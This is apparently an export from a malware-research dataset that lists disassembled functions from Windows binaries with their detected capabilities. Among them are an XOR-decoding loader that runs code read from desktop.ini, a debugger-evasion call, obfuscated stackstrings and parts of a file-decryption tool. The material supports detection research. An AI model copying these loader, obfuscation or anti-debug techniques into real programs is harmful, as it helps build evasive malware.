joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402db8
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push ecx
push edx
push esi
push edi
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 0
push 4
push dword [ebp + 0xc]
push 0x402da8
push 0
push 0
call sub.KERNEL32.dll_CreateThread
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402e4a
cmp dword [ebp + 8], 0
je 0x402e24
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.00402b9c
test eax, eax
jne 0x402e24
push 0
push dword [ebp - 4]
call sub.ntdll.dll_NtTerminateThread
push dword [ebp - 4]
call sub.ntdll.dll_NtClose
mov eax, dword [ebp - 8]
pop edi
pop esi
pop edx
pop ecx
pop ebx
mov esp, ebp
pop ebp
ret 8
push dword [ebp - 4]
call sub.KERNEL32.dll_ResumeThread
push 0xffffffffffffffff
push dword [ebp - 4]
call sub.KERNEL32.dll_WaitForSingleObject
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_GetExitCodeThread
push dword [ebp - 4]
call sub.ntdll.dll_NtClose
mov eax, dword [ebp - 8]
pop edi
pop esi
pop edx
pop ecx
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x402e58
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 4], 0
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push dword [ebp + 8]
call sub.KERNEL32.dll_CreateFileW
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x402e9b
push dword [ebp + 0xc]
push dword [ebp - 8]
call sub.KERNEL32.dll_GetFileSizeEx
mov dword [ebp - 4], eax
push dword [ebp - 8]
call sub.ntdll.dll_NtClose
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8
Function at 0x4033c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push ebx
push esi
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0x64]
mov eax, 0x20
test eax, ebx
cmovg ebx, eax
lea ebx, [ebx*2 + 1]
mov dword [ebp - 4], 0
push ebx
push 0
push 0
push 0xffffffffffffffff
call sub.KERNEL32.dll_CreateIoCompletionPort
mov dword [0x407f14], eax
cmp dword [0x407f14], 0
je 0x40342c
push 0
push 0
push 0
push 0x4030ec
push 0
push 0
call sub.KERNEL32.dll_CreateThread
mov esi, eax
test esi, esi
je 0x403427
push esi
call sub.ntdll.dll_NtClose
inc dword [ebp - 4]
dec ebx
test ebx, ebx
jne 0x403404
push 0x407f20
call sub.ntdll.dll_RtlInitializeCriticalSection
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4034dc
Capabilities:
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
push ebx
mov dword [ebp - 4], 0
push pe_nt_image_headers32
push dword [ebp + 8]
call sub.KERNEL32.dll_SetFileAttributesW
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push dword [ebp + 8]
call sub.KERNEL32.dll_CreateFileW
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40358a
xor eax, eax
xor edx, edx
sub eax, 0x84
sbb edx, 0
push 2
push 0
push edx
push eax
push dword [ebp - 8]
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x403582
push 0
lea eax, [ebp - 0xc]
push eax
push 0x84
lea eax, [ebp - 0x90]
push eax
push dword [ebp - 8]
call sub.KERNEL32.dll_ReadFile
test eax, eax
je 0x403582
push pe_nt_image_headers32
lea eax, [ebp - 0x8c]
push eax
call fcn.00403484
mov ebx, eax
test ebx, ebx
je 0x403582
mov eax, dword [ebp - 0x90]
cmp dword [ebx], eax
jne 0x40357c
mov eax, dword [ebx]
mov dword [ebp - 4], eax
push ebx
call fcn.00401ff4
push dword [ebp - 8]
call sub.ntdll.dll_NtClose
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x403594
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xffffffff
push 0
push pe_nt_image_headers32
push 3
push 0
push 0
push 0x80000000
push dword [ebp + 8]
call sub.KERNEL32.dll_CreateFileW
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x4035d9
jmp 0x403691
xor eax, eax
xor edx, edx
sub eax, 0x86
sbb edx, 0
push 2
push 0
push edx
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
jne 0x4035fc
jmp 0x403691
push 0
lea eax, [ebp - 8]
push eax
push 2
lea eax, [ebp - 0xa]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_ReadFile
test eax, eax
jne 0x403616
jmp 0x403691
push 0x2e0
call fcn.00401fb8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40362b
jmp 0x403691
mov esi, dword [ebp - 0x10]
add esi, 0x25a
movzx eax, word [ebp - 0xa]
sub esi, eax
mov ebx, 0x2e0
mov eax, esi
sub eax, dword [ebp - 0x10]
sub ebx, eax
xor eax, eax
xor edx, edx
sub eax, ebx
sbb edx, 0
push 2
push 0
push edx
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
jne 0x403663
jmp 0x403691
push 0
lea eax, [ebp - 8]
push eax
push ebx
push esi
push dword [ebp - 4]
call sub.KERNEL32.dll_ReadFile
test eax, eax
jne 0x403679
jmp 0x403691
cmp dword [ebp - 8], 0
jne 0x403689
push dword [ebp - 0x10]
call fcn.00401ff4
xor ebx, ebx
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x10]
mov dword [ecx], eax
cmp dword [ebp - 4], 0xffffffff
je 0x40369f
push dword [ebp - 4]
call sub.KERNEL32.dll_CloseHandle
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4036ac
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
lea eax, [ebp - 0x10]
mov dword [eax], 0x25002d
mov dword [eax + 4], 0x75
cmp dword [ebp - 8], 0
je 0x4036e8
push dword [ebp - 8]
call fcn.00401ff4
mov dword [ebp - 8], 0
push dword [ebp - 4]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x26]
push eax
call sub.msvcrt.dll_swprintf
add esp, 0xc
mov esi, eax
lea eax, [esi*2 + 0x16]
push eax
push dword [ebp + 8]
call fcn.0040207c
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403718
jmp 0x403782
push dword [ebp - 8]
call sub.SHLWAPI.dll_PathFindExtensionW
mov edi, eax
cmp word [edi], 0
je 0x40375f
push edi
call sub.msvcrt.dll_wcslen
add esp, 4
mov ebx, eax
lea eax, [ebx*2 + 2]
push eax
push edi
lea eax, [edi + esi*2]
push eax
call sub.msvcrt.dll_memmove
add esp, 0xc
lea eax, [esi*2]
push eax
lea eax, [ebp - 0x26]
push eax
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
jmp 0x40376e
lea eax, [ebp - 0x26]
push eax
push dword [ebp - 8]
call sub.msvcrt.dll_wcscat
add esp, 8
inc dword [ebp - 4]
push dword [ebp - 8]
call sub.KERNEL32.dll_GetFileAttributesW
cmp eax, 0xffffffff
jne 0x4036d3
cmp dword [ebp + 8], 0
je 0x403790
push dword [ebp + 8]
call fcn.00401ff4
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x403fe0
Capabilities:
Create thread
Resume thread
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push ebx
push ecx
push edx
push esi
push edi
push 0x40724c
call sub.KERNEL32.dll_SetConsoleTitleW
push 0xfffffffffffffff6
call sub.KERNEL32.dll_GetStdHandle
mov dword [ebp - 4], eax
call sub.KERNEL32.dll_GetConsoleWindow
push 0x63
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
call sub.USER32.dll_SetWindowPos
mov dword [0x407f4c], 0
mov dword [0x407f50], 0
mov dword [0x407f5c], 0
push 0
push 4
push 0
push 0x403fa8
push 0
push 0
call sub.KERNEL32.dll_CreateThread
mov dword [0x407f3c], eax
cmp dword [0x407f3c], 0
jne 0x40405e
jmp 0x40420f
push 0xa
push str.Finding_Files_In_Progress..._r_n
call fcn.004013a8
push 0xf
push 0x4072bc
call fcn.004013a8
push dword [0x407f3c]
call sub.KERNEL32.dll_ResumeThread
push 0xa
push dword [0x407f3c]
call sub.KERNEL32.dll_WaitForSingleObject
cmp eax, 0x102
je 0x4040d2
push dword [0x407f3c]
call sub.KERNEL32.dll_CloseHandle
push dword [0x407f5c]
push 0x4072d0
lea eax, [ebp - 0x21c]
push eax
call sub.msvcrt.dll_swprintf
add esp, 0xc
push 0xf
lea eax, [ebp - 0x21c]
push eax
call fcn.004013a8
push dword [ebp - 4]
call sub.KERNEL32.dll_FlushConsoleInputBuffer
jmp 0x404107
push dword [0x407f5c]
push str.Found__u_File_s__r
lea eax, [ebp - 0x21c]
push eax
call sub.msvcrt.dll_swprintf
add esp, 0xc
push 0xf
lea eax, [ebp - 0x21c]
push eax
call fcn.004013a8
push dword [ebp - 4]
call sub.KERNEL32.dll_FlushConsoleInputBuffer
jmp 0x404081
cmp dword [0x407f5c], 0
jne 0x404115
jmp 0x40420f
mov dword [0x407f4c], 1
mov dword [0x407f50], 0
mov dword [0x407f60], 0
push 0
push 4
push 0
push 0x403fa8
push 0
push 0
call sub.KERNEL32.dll_CreateThread
mov dword [0x407f3c], eax
cmp dword [0x407f3c], 0
jne 0x40415a
jmp 0x40420f
push 0xa
push str._r_n_nDecrypting_Files_In_Progress..._r_n
call fcn.004013a8
push 0xf
push str.Wait..._r_n
call fcn.004013a8
push dword [0x407f3c]
call sub.KERNEL32.dll_ResumeThread
push 0xa
push dword [0x407f3c]
call sub.KERNEL32.dll_WaitForSingleObject
cmp eax, 0x102
je 0x4041ce
push dword [0x407f3c]
call sub.KERNEL32.dll_CloseHandle
push dword [0x407f60]
push 0x407378
lea eax, [ebp - 0x21c]
push eax
call sub.msvcrt.dll_swprintf
add esp, 0xc
push 0xf
lea eax, [ebp - 0x21c]
push eax
call fcn.004013a8
push dword [ebp - 4]
call sub.KERNEL32.dll_FlushConsoleInputBuffer
jmp 0x404203
push dword [0x407f60]
push str.Decrypted__u_File_s__r
lea eax, [ebp - 0x21c]
push eax
call sub.msvcrt.dll_swprintf
add esp, 0xc
push 0xf
lea eax, [ebp - 0x21c]
push eax
call fcn.004013a8
push dword [ebp - 4]
call sub.KERNEL32.dll_FlushConsoleInputBuffer
jmp 0x40417d
push 0xa
push str._r_n_nDecrypting_Finished
call fcn.004013a8
push 0xf
push str._r_n_nPress_Any_Key_To_Exit...
call fcn.004013a8
call fcn.004013fc
pop edi
pop esi
pop edx
pop ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4042d0
Capabilities:
Check if file exists
Create thread
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
xor eax, eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push 0
push dword [ebp + 8]
call fcn.0040207c
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4042fa
jmp 0x40446c
cmp dword [ebp + 0xc], 0
jne 0x40433f
call fcn.00401564
mov ebx, eax
push ebx
call sub.msvcrt.dll_wcslen
add esp, 4
lea eax, [eax + 0xe]
push eax
push ebx
call fcn.0040207c
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
call sub.SHLWAPI.dll_PathRemoveFileSpecW
push dword [ebp - 0xc]
call fcn.00401574
push str.trial_dec.log
push dword [ebp - 0xc]
call sub.msvcrt.dll_wcscat
add esp, 8
jmp 0x404391
push dword [ebp + 0xc]
call sub.SHLWAPI.dll_PathFileExistsW
test eax, eax
je 0x404384
push dword [ebp + 0xc]
call sub.KERNEL32.dll_GetFileAttributesW
test ax, 0x10
je 0x404380
push 0x10
push dword [ebp + 0xc]
call fcn.0040207c
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
call fcn.00401574
push str.trial_dec.log
push dword [ebp - 0xc]
call sub.msvcrt.dll_wcscat
add esp, 8
jmp 0x404382
jmp 0x404384
jmp 0x404391
push 0
push dword [ebp + 0xc]
call fcn.0040207c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4043b6
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 0xc]
call sub.KERNEL32.dll_CreateFileW
mov dword [0x40770c], eax
push dword [ebp - 8]
call sub.SHLWAPI.dll_PathFileExistsW
test eax, eax
jne 0x4043e8
cmp dword fs:[0x34], 2
jne 0x4043de
push 0
push dword [ebp + 8]
push 1
push dword [0x40770c]
call fcn.00402240
push dword [ebp - 8]
call fcn.00401ff4
jmp 0x40444a
mov dword [0x407f4c], 1
mov dword [0x407f50], 0
push 0
push 0
push dword [ebp - 8]
push fcn.00403cfc
push 0
push 0
call sub.KERNEL32.dll_CreateThread
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40444a
push 0xffffffffffffffff
push dword [ebp - 4]
call sub.KERNEL32.dll_WaitForSingleObject
push dword [ebp - 4]
call sub.ntdll.dll_NtClose
lea ecx, [0x407f1c]
mov eax, dword [0x407f18]
mov edx, eax
lock cmpxchg dword [ecx], edx
jne 0x404441
jmp 0x40444a
push 0x64
call sub.KERNEL32.dll_Sleep
jmp 0x40442c
cmp dword [ebp - 0xc], 0
je 0x404458
push dword [ebp - 0xc]
call fcn.00401ff4
cmp dword [0x40770c], 0xffffffff
je 0x40446c
push dword [0x40770c]
call sub.ntdll.dll_NtClose
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x404c72
Capabilities:
Accept command line arguments
Hide thread from debugger

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
add esp, 0xffffffdc
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x24], eax
mov dword [0x40770c], 0xffffffff
call fcn.004012e0
test eax, eax
jne 0x404ca9
call fcn.00404c40
call fcn.004022f0
test eax, eax
jne 0x404e8a
call fcn.0040250c
call fcn.004012e0
test eax, eax
jne 0x404cc9
call fcn.00402b4c
push 0
push 0
push 0x11
push 0xfffffffffffffffe
call sub.ntdll.dll_NtSetInformationThread
push str.ntdll.dll
call sub.KERNEL32.dll_GetModuleHandleW
push str.NtSetThreadExecutionState
push eax
call sub.KERNEL32.dll_GetProcAddress
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x404d00
lea eax, [ebp - 0xc]
push eax
push 0x80000001
call dword [ebp - 0x24]
call fcn.00402780
call fcn.0040234c
mov dword [0x408084], eax
call sub.KERNEL32.dll_GetCommandLineW
mov ecx, eax
lea eax, [ebp - 8]
push eax
push ecx
call sub.SHELL32.dll_CommandLineToArgvW
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x404d2e
jmp 0x404e6c
cmp dword [ebp - 8], 1
ja 0x404d54
call fcn.004033c0
mov dword [ebp - 0x10], eax
call fcn.00404c1c
cmp dword [ebp - 0x10], 0
je 0x404d4f
push dword [ebp - 0x10]
call fcn.00403440
jmp 0x404e6c
mov ebx, dword [ebp - 4]
add ebx, 4
dec dword [ebp - 8]
jmp 0x404ded
push str._auto
push dword [ebx]
call sub.msvcrt.dll__wcsicmp
add esp, 8
test eax, eax
jne 0x404d84
mov dword [ebp - 0x18], 1
add ebx, 4
dec dword [ebp - 8]
jmp 0x404ded
push str._path
push dword [ebx]
call sub.msvcrt.dll__wcsicmp
add esp, 8
test eax, eax
jne 0x404db9
add ebx, 4
dec dword [ebp - 8]
cmp dword [ebp - 8], 0
jne 0x404da5
jmp 0x404df7
push dword [ebx]
pop dword [ebp - 0x20]
mov dword [ebp - 0x14], 1
add ebx, 4
dec dword [ebp - 8]
jmp 0x404ded
push str._log
push dword [ebx]
call sub.msvcrt.dll__wcsicmp
add esp, 8
test eax, eax
jne 0x404de7
add ebx, 4
dec dword [ebp - 8]
cmp dword [ebp - 8], 0
jne 0x404dda
jmp 0x404df7
push dword [ebx]
pop dword [ebp - 0x1c]
add ebx, 4
dec dword [ebp - 8]
jmp 0x404ded
add ebx, 4
dec dword [ebp - 8]
cmp dword [ebp - 8], 0
jne 0x404d62
cmp dword [ebp - 0x18], 0
je 0x404e22
call fcn.004033c0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x404e10
call fcn.00403fe0
cmp dword [ebp - 0x10], 0
je 0x404e1e
push dword [ebp - 0x10]
call fcn.00403440
jmp 0x404e6c
cmp dword [ebp - 0x14], 0
je 0x404e51
call fcn.004033c0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x404e41
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
call fcn.004042d0
cmp dword [ebp - 0x10], 0
je 0x404e4f
push dword [ebp - 0x10]
call fcn.00403440
jmp 0x404e6c
call fcn.004033c0
mov dword [ebp - 0x10], eax
call fcn.00404c1c
cmp dword [ebp - 0x10], 0
je 0x404e6c
push dword [ebp - 0x10]
call fcn.00403440
cmp dword [ebp - 4], 0
je 0x404e7a
push dword [ebp - 4]
call sub.KERNEL32.dll_GlobalFree
cmp dword [ebp - 0x24], 0
je 0x404e8a
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x24]
push 0
call sub.KERNEL32.dll_ExitProcess
int3
Function at 0x404edc
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x404f00
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x404ee8
add dl, dl
jne 0x404f0b
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x404f5c
xor eax, eax
add dl, dl
jne 0x404f18
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x404ff9
add dl, dl
jne 0x404f27
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x404f32
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x404f3d
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x404f48
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x404f52
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x404ef7
mov eax, 1
add dl, dl
jne 0x404f6a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x404f75
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x404f61
sub eax, ebx
mov ebx, 1
jne 0x404fa8
mov ecx, 1
add dl, dl
jne 0x404f8e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x404f99
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x404f85
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x404ef7
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x404fbf
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x404fca
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x404fb6
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x404ef7
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x40501a
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x404ef7
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x40147e
Capabilities:
Encode data using xor

Disassembly:
xor dx, dx
mov esi, edi
lodsb al, byte [esi]
xchg cl, dl
ror al, cl
xor al, cl
xchg cl, dl
xor al, ah
stosb byte es:[edi], al
inc dx
loop 0x401483
ret

Function at 0x401494
Capabilities:
Encode data using xor

Disassembly:
xor dx, dx
mov esi, edi
lodsb al, byte [esi]
xor al, ah
xchg cl, dl
xor al, cl
rol al, cl
xchg cl, dl
stosb byte es:[edi], al
inc dx
loop 0x401499
ret
Function at 0x10017093
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x10033ffe
call fcn.10031d20
sub esp, 0x10
push ebx
push edi
mov edi, ecx
xor ebx, ebx
cmp byte [edi + 0x1d], bl
jne 0x10017182
push esi
push 0x20
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x14], eax
cmp eax, ebx
mov dword [ebp - 4], ebx
je 0x100170de
mov esi, dword [ebp + 8]
push 0x66747970
mov ecx, esi
mov eax, dword [esi]
call dword [eax + 4]
mov ecx, dword [ebp - 0x14]
push edx
push eax
push esi
call fcn.10016a46
jmp 0x100170e0
xor eax, eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
call fcn.1001fddc
mov ecx, dword [ebp - 0x1c]
push 4
pop esi
mov byte [ebp - 0x10], 0x6d
mov byte [ebp - 0xf], 0x70
mov byte [ebp - 0xe], 0x34
mov byte [ebp - 0xd], 0x32
mov eax, dword [ecx]
lea edx, [ebp - 0x10]
push esi
push edx
mov dword [ebp - 4], 1
call dword [eax + 0x10]
mov ecx, dword [ebp - 0x1c]
mov byte [ebp - 0x10], bl
mov byte [ebp - 0xf], bl
mov byte [ebp - 0xe], bl
mov byte [ebp - 0xd], bl
mov eax, dword [ecx]
lea edx, [ebp - 0x10]
push esi
push edx
call dword [eax + 0x10]
mov ecx, dword [ebp - 0x1c]
mov byte [ebp - 0x10], 0x6d
mov byte [ebp - 0xf], 0x70
mov byte [ebp - 0xe], 0x34
mov byte [ebp - 0xd], 0x32
mov eax, dword [ecx]
lea edx, [ebp - 0x10]
push esi
push edx
call dword [eax + 0x10]
mov ecx, dword [ebp - 0x1c]
mov byte [ebp - 0x10], 0x69
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x6f
mov byte [ebp - 0xd], 0x6d
mov eax, dword [ecx]
lea edx, [ebp - 0x10]
push esi
push edx
call dword [eax + 0x10]
mov ecx, dword [ebp - 0x1c]
call fcn.10016ba0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
mov byte [edi + 0x1d], 1
call fcn.1001fdfa
pop esi
mov ecx, dword [ebp - 0xc]
pop edi
pop ebx
mov dword fs:[0], ecx
leave
ret 4

Function at 0x100197a8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test al, 0x50
call fcn.1001950e
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.100194c3
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x100197ec
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.100194fe
call 0x9dcba163
inc ebp
rcl byte [eax - 0x18], 0xc5
cld
invalid